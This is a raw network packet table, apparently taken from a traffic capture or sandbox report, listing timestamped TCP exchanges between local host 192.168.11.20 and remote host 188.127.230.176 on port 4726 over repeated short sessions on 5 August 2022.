Aug 5, 2022 11:34:38.158287048 CEST	4726	49823	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:38.197736025 CEST	49823	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:38.282567024 CEST	4726	49823	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:38.282814026 CEST	49823	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:38.361819983 CEST	4726	49823	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:38.400629044 CEST	49823	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:38.485846043 CEST	4726	49823	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:38.525672913 CEST	49823	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:42.566930056 CEST	49824	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:42.614778996 CEST	4726	49824	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:42.614944935 CEST	49824	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:42.615251064 CEST	49824	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:42.669740915 CEST	4726	49824	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:42.669960976 CEST	49824	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:42.751593113 CEST	4726	49824	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:42.751826048 CEST	49824	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:42.800283909 CEST	4726	49824	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:42.800646067 CEST	49824	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:42.876327991 CEST	4726	49824	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:42.876543999 CEST	49824	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:42.954334021 CEST	4726	49824	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:42.954494953 CEST	49824	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:43.032371998 CEST	4726	49824	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:43.032563925 CEST	49824	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:43.065067053 CEST	4726	49824	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:43.080013990 CEST	4726	49824	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:43.080219984 CEST	49824	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:43.157502890 CEST	4726	49824	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:43.157737017 CEST	49824	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:43.205666065 CEST	4726	49824	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:43.205876112 CEST	49824	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:43.253407001 CEST	4726	49824	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:43.305743933 CEST	49824	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:43.305798054 CEST	49824	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:43.391941071 CEST	4726	49824	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:43.399749041 CEST	49824	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:43.485896111 CEST	4726	49824	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:43.556001902 CEST	49824	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:43.642291069 CEST	4726	49824	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:43.642544031 CEST	49824	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:43.720135927 CEST	4726	49824	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:43.774542093 CEST	49824	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:43.860686064 CEST	4726	49824	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:43.860869884 CEST	49824	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:43.938864946 CEST	4726	49824	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:43.961877108 CEST	49824	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:44.048154116 CEST	4726	49824	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:44.102519035 CEST	49824	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:44.188990116 CEST	4726	49824	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:44.189363003 CEST	49824	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:44.266930103 CEST	4726	49824	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:44.321229935 CEST	49824	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:44.383801937 CEST	49824	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:44.407519102 CEST	4726	49824	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:44.407654047 CEST	49824	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:48.411257029 CEST	49825	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:48.458962917 CEST	4726	49825	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:48.459122896 CEST	49825	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:48.459434986 CEST	49825	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:48.514389038 CEST	4726	49825	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:48.514715910 CEST	49825	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:48.562695026 CEST	4726	49825	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:48.562917948 CEST	49825	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:48.641956091 CEST	4726	49825	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:48.642164946 CEST	49825	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:48.720191956 CEST	4726	49825	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:48.720516920 CEST	49825	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:48.798384905 CEST	4726	49825	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:48.804712057 CEST	49825	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:48.830743074 CEST	4726	49825	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:48.853049994 CEST	4726	49825	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:48.853415012 CEST	49825	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:48.939471006 CEST	4726	49825	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:48.939758062 CEST	49825	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:48.987909079 CEST	4726	49825	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:49.007791042 CEST	49825	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:49.055728912 CEST	4726	49825	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:49.085786104 CEST	49825	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:49.173557043 CEST	4726	49825	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:49.210829020 CEST	49825	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:49.298333883 CEST	4726	49825	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:49.351659060 CEST	49825	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:49.439017057 CEST	4726	49825	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:49.439254045 CEST	49825	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:49.516963959 CEST	4726	49825	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:49.570416927 CEST	49825	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:49.657541990 CEST	4726	49825	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:49.657749891 CEST	49825	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:49.735677004 CEST	4726	49825	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:49.757541895 CEST	49825	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:49.845194101 CEST	4726	49825	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:49.898181915 CEST	49825	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:49.985646009 CEST	4726	49825	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:49.985835075 CEST	49825	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:50.063715935 CEST	4726	49825	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:50.116925001 CEST	49825	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:50.204431057 CEST	4726	49825	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:50.204627037 CEST	49825	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:50.282588959 CEST	4726	49825	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:50.304267883 CEST	49825	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:54.439526081 CEST	49826	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:54.490910053 CEST	4726	49826	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:54.491116047 CEST	49826	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:54.491566896 CEST	49826	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:54.542584896 CEST	4726	49826	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:54.584422112 CEST	49826	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:54.600339890 CEST	49826	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:54.635051012 CEST	4726	49826	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:54.662781000 CEST	49826	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:54.689028978 CEST	4726	49826	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:54.689192057 CEST	49826	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:58.689786911 CEST	49828	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:58.741843939 CEST	4726	49828	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:58.742091894 CEST	49828	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:58.742582083 CEST	49828	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:58.801500082 CEST	4726	49828	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:58.801681995 CEST	49828	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:58.892080069 CEST	4726	49828	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:58.892268896 CEST	49828	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:58.943876028 CEST	4726	49828	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:58.974701881 CEST	49828	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:59.063772917 CEST	4726	49828	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:59.063941956 CEST	49828	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:59.157767057 CEST	4726	49828	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:59.158118963 CEST	49828	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:59.251384974 CEST	4726	49828	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:59.251548052 CEST	49828	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:59.252593040 CEST	4726	49828	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:59.302268028 CEST	49828	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:59.303239107 CEST	4726	49828	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:59.303433895 CEST	49828	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:59.392081976 CEST	4726	49828	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:59.392328024 CEST	49828	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:59.444188118 CEST	4726	49828	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:59.444480896 CEST	49828	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:59.496216059 CEST	4726	49828	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:59.496407032 CEST	49828	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:59.579767942 CEST	4726	49828	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:59.583781958 CEST	49828	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:59.673434973 CEST	4726	49828	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:59.708501101 CEST	49828	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:59.798227072 CEST	4726	49828	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:59.849139929 CEST	49828	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:34:59.938807964 CEST	4726	49828	188.127.230.176	192.168.11.20
Aug 5, 2022 11:34:59.939146042 CEST	49828	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:00.032691956 CEST	4726	49828	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:00.052150965 CEST	49828	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:00.142081022 CEST	4726	49828	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:00.177397966 CEST	49828	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:00.267134905 CEST	4726	49828	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:00.267334938 CEST	49828	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:00.360884905 CEST	4726	49828	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:00.361131907 CEST	49828	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:00.454833984 CEST	4726	49828	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:00.505316019 CEST	49828	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:00.567743063 CEST	49828	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:00.595252037 CEST	4726	49828	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:00.595464945 CEST	49828	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:04.600847960 CEST	49829	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:04.652605057 CEST	4726	49829	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:04.652896881 CEST	49829	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:04.653208017 CEST	49829	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:04.711610079 CEST	4726	49829	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:04.711919069 CEST	49829	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:04.763513088 CEST	4726	49829	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:04.770015001 CEST	49829	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:04.860806942 CEST	4726	49829	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:04.861013889 CEST	49829	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:04.939093113 CEST	4726	49829	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:04.957442045 CEST	49829	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:05.048676968 CEST	4726	49829	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:05.049433947 CEST	4726	49829	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:05.050117016 CEST	49829	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:05.101885080 CEST	4726	49829	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:05.102138996 CEST	49829	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:05.189019918 CEST	4726	49829	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:05.189256907 CEST	49829	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:05.241450071 CEST	4726	49829	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:05.285255909 CEST	49829	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:05.316637039 CEST	49829	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:05.336344004 CEST	4726	49829	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:05.379105091 CEST	49829	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:05.407687902 CEST	4726	49829	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:05.441953897 CEST	49829	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:05.533040047 CEST	4726	49829	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:05.533394098 CEST	49829	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:05.626579046 CEST	4726	49829	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:05.626827002 CEST	49829	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:05.720274925 CEST	4726	49829	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:05.754199982 CEST	49829	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:05.845113039 CEST	4726	49829	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:05.845351934 CEST	49829	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:05.938961029 CEST	4726	49829	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:05.972970963 CEST	49829	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:06.064013004 CEST	4726	49829	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:06.064239025 CEST	49829	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:06.157757044 CEST	4726	49829	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:06.160310984 CEST	49829	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:06.251421928 CEST	4726	49829	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:06.301095009 CEST	49829	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:06.392143011 CEST	4726	49829	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:06.392386913 CEST	49829	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:06.485858917 CEST	4726	49829	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:06.519642115 CEST	49829	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:11.709763050 CEST	49830	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:11.756946087 CEST	4726	49830	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:11.757153988 CEST	49830	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:11.757509947 CEST	49830	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:11.812438965 CEST	4726	49830	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:11.812613964 CEST	49830	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:11.892189980 CEST	4726	49830	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:11.892448902 CEST	49830	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:11.939925909 CEST	4726	49830	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:11.955784082 CEST	49830	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:12.032524109 CEST	4726	49830	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:12.032740116 CEST	49830	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:12.110867023 CEST	4726	49830	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:12.111213923 CEST	49830	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:12.188868999 CEST	4726	49830	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:12.205912113 CEST	49830	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:12.221432924 CEST	4726	49830	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:12.253113985 CEST	4726	49830	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:12.253319025 CEST	49830	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:12.300370932 CEST	4726	49830	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:12.300596952 CEST	49830	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:12.376317024 CEST	4726	49830	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:12.376523018 CEST	49830	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:12.423626900 CEST	4726	49830	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:12.424530029 CEST	49830	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:12.471616030 CEST	4726	49830	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:12.486896992 CEST	49830	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:12.563904047 CEST	4726	49830	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:12.611927032 CEST	49830	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:12.689477921 CEST	4726	49830	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:12.753191948 CEST	49830	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:12.829497099 CEST	4726	49830	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:12.877608061 CEST	49830	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:12.954369068 CEST	4726	49830	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:12.954582930 CEST	49830	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:13.032404900 CEST	4726	49830	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:13.049376011 CEST	49830	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:13.126584053 CEST	4726	49830	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:13.205687046 CEST	49830	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:13.282636881 CEST	4726	49830	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:13.282732964 CEST	49830	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:13.360642910 CEST	4726	49830	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:13.408655882 CEST	49830	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:13.486041069 CEST	4726	49830	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:13.486264944 CEST	49830	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:13.563802004 CEST	4726	49830	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:13.580424070 CEST	49830	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:17.615375042 CEST	49831	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:17.663541079 CEST	4726	49831	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:17.663810968 CEST	49831	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:17.664166927 CEST	49831	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:17.718637943 CEST	4726	49831	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:17.718780994 CEST	49831	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:17.798724890 CEST	4726	49831	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:17.799163103 CEST	49831	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:17.847228050 CEST	4726	49831	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:17.860796928 CEST	49831	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:17.939177990 CEST	4726	49831	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:17.939450979 CEST	49831	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:18.017493010 CEST	4726	49831	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:18.017652035 CEST	49831	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:18.095664978 CEST	4726	49831	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:18.095860958 CEST	49831	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:18.128544092 CEST	4726	49831	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:18.143543005 CEST	4726	49831	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:18.143740892 CEST	49831	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:18.220515966 CEST	4726	49831	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:18.220690966 CEST	49831	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:18.269232988 CEST	4726	49831	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:18.298170090 CEST	49831	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:18.345818043 CEST	4726	49831	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:18.391897917 CEST	49831	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:18.391978979 CEST	49831	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:18.470822096 CEST	4726	49831	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:18.548250914 CEST	49831	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:18.626708031 CEST	4726	49831	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:18.626895905 CEST	49831	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:18.704798937 CEST	4726	49831	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:18.766906977 CEST	49831	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:18.845479965 CEST	4726	49831	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:18.845825911 CEST	49831	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:18.923455954 CEST	4726	49831	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:18.954221010 CEST	49831	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:19.033232927 CEST	4726	49831	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:19.047974110 CEST	49831	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:19.127208948 CEST	4726	49831	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:19.204255104 CEST	49831	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:19.282991886 CEST	4726	49831	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:19.283335924 CEST	49831	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:19.284203053 CEST	4726	49831	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:19.329252958 CEST	49831	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:19.361510992 CEST	4726	49831	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:19.422931910 CEST	49831	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:19.485435009 CEST	49831	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:19.501590967 CEST	4726	49831	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:19.501754999 CEST	49831	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:23.626935959 CEST	49832	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:23.678667068 CEST	4726	49832	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:23.678869963 CEST	49832	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:23.679239988 CEST	49832	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:23.738655090 CEST	4726	49832	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:23.738948107 CEST	49832	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:23.791045904 CEST	4726	49832	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:23.791399002 CEST	49832	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:23.876784086 CEST	4726	49832	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:23.876954079 CEST	49832	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:23.954978943 CEST	4726	49832	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:23.955210924 CEST	49832	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:24.033457041 CEST	4726	49832	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:24.033806086 CEST	49832	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:24.065985918 CEST	4726	49832	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:24.085747957 CEST	4726	49832	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:24.085993052 CEST	49832	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:24.173568964 CEST	4726	49832	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:24.173837900 CEST	49832	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:24.225691080 CEST	4726	49832	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:24.225887060 CEST	49832	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:24.277445078 CEST	4726	49832	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:24.312479973 CEST	49832	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:24.392369032 CEST	4726	49832	188.127.230.176	192.168.11.20
Aug 5, 2022 11:35:24.453140974 CEST	49832	4726	192.168.11.20	188.127.230.176
Aug 5, 2022 11:35:24.533071995 CEST	4726	49832	188.127.230.176	192.168.11.20
